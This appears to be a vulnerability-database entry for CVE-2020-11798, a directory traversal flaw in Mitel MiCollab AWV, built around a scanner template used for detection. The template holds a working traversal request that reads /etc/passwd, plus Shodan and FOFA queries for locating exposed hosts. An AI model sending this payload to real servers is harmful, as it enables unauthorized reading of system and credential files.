5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
5.3 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
5 Medium
AI Score
Confidence
High
0.807 High
EPSS
Percentile
98.3%
A Directory Traversal vulnerability in the web conference component of Mitel MiCollab AWV before 8.1.2.4 and 9.x before 9.1.3 could allow an attacker to access arbitrary files from restricted directories of the server via a crafted URL, due to insufficient access validation. A successful exploit could allow an attacker to access sensitive information from the restricted directories.
id: CVE-2020-11798
info:
name: Mitel MiCollab AWV 8.1.2.4 and 9.1.3 - Directory Traversal
author: ritikchaddha
severity: medium
description: |
A Directory Traversal vulnerability in the web conference component of Mitel MiCollab AWV before 8.1.2.4 and 9.x before 9.1.3 could allow an attacker to access arbitrary files from restricted directories of the server via a crafted URL, due to insufficient access validation. A successful exploit could allow an attacker to access sensitive information from the restricted directories.
impact: |
An attacker can exploit this vulnerability to view, modify, or delete arbitrary files on the system, potentially leading to unauthorized access or data leakage.
remediation: |
Apply the latest security patches or updates provided by Mitel to mitigate the vulnerability and prevent unauthorized access.
reference:
- https://packetstormsecurity.com/files/171751/mma913-traversallfi.txt
- https://nvd.nist.gov/vuln/detail/CVE-2020-11798
- http://packetstormsecurity.com/files/171751/Mitel-MiCollab-AWV-8.1.2.4-9.1.3-Directory-Traversal-LFI.html
- https://www.mitel.com/-/media/mitel/file/pdf/support/security-advisories/security-bulletin-20-0005-01.pdf
- https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-20-0005
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2020-11798
cwe-id: CWE-22
epss-score: 0.82302
epss-percentile: 0.98125
cpe: cpe:2.3:a:mitel:micollab_audio\,_web_\&_video_conferencing:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: mitel
product: micollab_audio\,_web_\&_video_conferencing
shodan-query:
- html:"Mitel" html:"MiCollab"
- http.html:"mitel" html:"micollab"
fofa-query: body="mitel" html:"micollab"
tags: cve,cve2020,packetstorm,mitel,micollab,lfi
http:
- method: GET
path:
- "{{BaseURL}}/awcuser/cgi-bin/vcs_access_file.cgi?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- application/x-download
- filename=passwd
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502203dbba8b8c96246cc949f3aef514859523f43fbaf6b4ee545047df9a559267e2702210094c56d9c22b20bd4fa33e98d22be5facea4fff78dcfb6bb7a7121e2f049c74cd:922c64590222798bb761d5b6d8e72950
packetstormsecurity.com/files/171751/Mitel-MiCollab-AWV-8.1.2.4-9.1.3-Directory-Traversal-LFI.html
nvd.nist.gov/vuln/detail/CVE-2020-11798
packetstormsecurity.com/files/171751/mma913-traversallfi.txt
www.mitel.com/-/media/mitel/file/pdf/support/security-advisories/security-bulletin-20-0005-01.pdf
www.mitel.com/support/security-advisories/mitel-product-security-advisory-20-0005
5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
5.3 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
5 Medium
AI Score
Confidence
High
0.807 High
EPSS
Percentile
98.3%